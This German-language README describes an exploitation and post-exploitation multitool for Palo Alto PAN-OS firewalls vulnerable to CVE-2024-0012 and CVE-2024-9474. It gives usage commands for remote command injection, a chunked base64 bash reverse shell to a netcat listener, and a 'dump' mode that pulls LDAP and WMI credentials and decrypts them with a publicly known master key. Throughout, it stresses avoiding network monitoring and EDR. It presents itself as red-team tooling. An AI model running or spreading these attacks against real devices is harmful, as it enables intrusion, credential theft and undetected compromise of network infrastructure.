
Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind
Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind
Während der frühen Ausnutzung der Remote-Code-Ausführungsschwachstellen CVE-2024-0012 und CVE-2024-9474 habe ich eine Shell erlangt und begann, Konfigurationsdateien zu identifizieren, die seltsame Zeichenfolgen in verschiedenen Passwortfeldern enthielten. Da es sich offensichtlich nicht um gängige Hash-Formate handelte, begann mein Team und ich, dies zu untersuchen und entdeckten schnell ein Sicherheitsbulletin auf der ThreatLabs-Website, das besagte, dass PAN-OS-Anmeldedaten standardmäßig mit einem öffentlich bekannten Hauptschlüssel verschlüsselt werden (oder wurden?). Obwohl dieser Hauptschlüssel in der Gerätekonfiguration geändert werden kann, habe ich festgestellt, dass der Standard-Hauptschlüssel in jedem Fall verwendet wurde, in dem ich auf diese Schwachstellen gestoßen bin. Mit der Entwicklung dieses Tools möchte ich eine einfache Möglichkeit schaffen, diese Schwachstellen auszunutzen, Post-Exploitation und Anmeldeinformations-Harvesting durchzuführen und sogar Klartext-Anmeldedaten vollständig über verschlüsselten HTTPS-Datenverkehr abzurufen, ohne dass persistente Verbindungen erforderlich sind, die von Netzwerk- und Verkehrsüberwachungslösungen erkannt werden könnten.
Unterstützt derzeit das automatische Abrufen und Entschlüsseln von LDAP- und WMI-Anmeldeinformationen, obwohl ich seltene Fälle gesehen habe, in denen geheime Zeichenfolgen in Konfigurationsdateien mit nicht standardmäßigen XML-Feldnamen verschlüsselt sind. Ich arbeite derzeit daran, die Ursachen dieser besonderen Fälle zu identifizieren, um eine vollständige Unterstützung zu gewährleisten. Bitte beachten Sie, dass dies noch in der Entwicklung ist.
Stellen Sie vor der Verwendung sicher, dass alle erforderlichen Abhängigkeiten mit einem Befehl wie diesem installiert sind:
pip3 install -r requirements.txt
Mit dem Befehl „check“ können Sie überprüfen, ob ein entferntes Ziel für CVE-2024-0012 anfällig ist. Wenn Sie ein entferntes Ziel über seine IP-Adresse anvisieren, verwenden Sie unbedingt das Argument --no-verify. Beispiel:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

Mit dem Befehl „command“ können Sie CVE-2024-0012 und CVE-2024-9474 auf einem entfernten Ziel ausnutzen, um einen manuell übergebenen Befehl auszuführen und die resultierende Befehlsausgabe über die Weboberfläche abzurufen. Ähnlich wie bei den Befehlen dump und shell wird der übergebene Befehl in Abschnitte aufgeteilt, die klein genug sind, um in die Befehlsinjektionsschwachstelle von CVE-2024-9474 zu passen, in eine temporäre Shell-Datei in einem beschreibbaren Verzeichnis (Standard: /var/tmp/) geschrieben und dann auf dem Ziel ausgeführt. Die Ausgabe wird in eine temporäre PHP-Datei unter /var/appweb/htdocs{remote_dir} geschrieben, per HTTPS abgerufen, auf der Konsole ausgegeben und automatisch bereinigt, sofern nicht das Argument --no-cleanup angegeben wird. Auch hier gilt: Vergessen Sie nicht --no-verify, wenn nötig.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
Das optionale Flag --silentcommand führt den übergebenen Befehl mit derselben Chunking- und Injektionsmethode wie oben aus, leitet die Ausgabe jedoch nicht in eine webfähige Datei um und führt keine Abrufanfrage durch. Dies ist nützlich für Fire-and-Forget-Aktionen, bei denen die Ausgabe nicht benötigt wird oder die Anzahl der Webanfragen und der auf dem Ziel erstellten Dateien minimiert werden soll. Da keine Ausgabedatei in den Webpfad geschrieben wird, werden bei der Bereinigung nur die temporären Payload-Chunk-Dateien aus dem beschreibbaren Verzeichnis entfernt – es gibt keine auszuräumende .php-Ausgabedatei.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
Der Befehl „shell“ ermöglicht es Ihnen, CVE-2024-0012 und CVE-2024-9474 auf einem entfernten Ziel auszunutzen, um eine Reverse Shell auf dem entfernten Host zu empfangen. Im Wesentlichen erstellt dieser Befehl eine Standard-Bash-Reverse-Shell-Payload, kodiert sie in Base64, teilt den Base64-kodierten Block in Abschnitte auf, die klein genug sind, um in die Befehlsinjektionsschwachstelle von CVE-2024-9474 zu passen, und führt dann Befehle aus, um jeden Block in Dateien in einem beschreibbaren Verzeichnis (Standard: /var/tmp/) zu schreiben. Sobald diese Blöcke vollständig gespeichert sind, werden sie zu einer einzigen Shell-Datei zusammengeführt und auf dem Host ausgeführt, wodurch eine Verbindung zu einem separaten Netcat-Listener (nc -nvlp {PORT}) hergestellt werden sollte.
Bitte beachten Sie, dass das Timeout aufgrund der persistenten Reverse-Shell-Verbindung derzeit die Dateibereinigung verhindert. Sie müssen sich daher den zufälligen Dateinamen notieren, der zu Beginn der Tool-Ausführung ausgegeben wird, und ihn aus den Verzeichnissen {writable_dir} und /var/appweb/htdocs{remote_dir} bereinigen. Ich werde dies in der nächsten Version beheben, bin aber noch nicht dazu gekommen. Vergessen Sie nicht --no-verify, wenn nötig.
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

Dies war mein Hauptziel für dieses Projekt und der Hauptgrund, warum ich dieses Tool entwickeln wollte. Da sich die meisten Writeups und Tools im Zusammenhang mit diesen Schwachstellen auf die Remote-Code-Ausführung konzentrieren, habe ich nur wenige Fälle gefunden, in denen detaillierte Post-Exploitation-Schritte darüber hinaus beschrieben werden. Mit dem Befehl dump können Sie nicht nur Anmeldeinformationen aus der Ferne abrufen und entschlüsseln, sondern dies auch vollständig über eine kleine Anzahl verschlüsselter (HTTPS-)Webanfragen ohne persistente Verbindungen tun. Da PAN-OS-Geräte mit deutlich geringerer Wahrscheinlichkeit mit EDR/MDR/IDR/XDR/?DR-Lösungen ausgestattet sind, ist dies besonders effektiv bei Red-Team-Operationen.
Der Befehl dump folgt einer ähnlichen Chunking- und Ausführungsmethode wie der Befehl shell, initiiert jedoch keine Reverse Shell, sondern ruft verschlüsselte Anmeldeinformationen aus den Konfigurationsdateien des Geräts (unter /opt/pancfg/mgmt/saved-configs/) ab und entschlüsselt die identifizierten Passwörter automatisch mit dem öffentlich bekannten Hauptschlüssel. Der Befehl dump bereinigt am Ende der Entschlüsselung auch alle erstellten Dateien, es sei denn, Sie fügen das Argument --no-cleanup hinzu. Wie immer: Vergessen Sie nicht --no-verify, wenn nötig.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
